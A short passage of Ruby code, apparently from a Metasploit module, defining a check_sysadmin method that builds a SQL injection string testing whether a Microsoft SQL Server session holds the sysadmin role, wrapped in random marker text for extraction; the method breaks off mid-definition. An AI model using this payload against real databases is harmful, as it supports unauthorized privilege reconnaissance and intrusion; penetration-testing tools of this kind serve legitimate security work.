def check_sysadmin
    # Setup query to check for sysadmin
    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
    sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"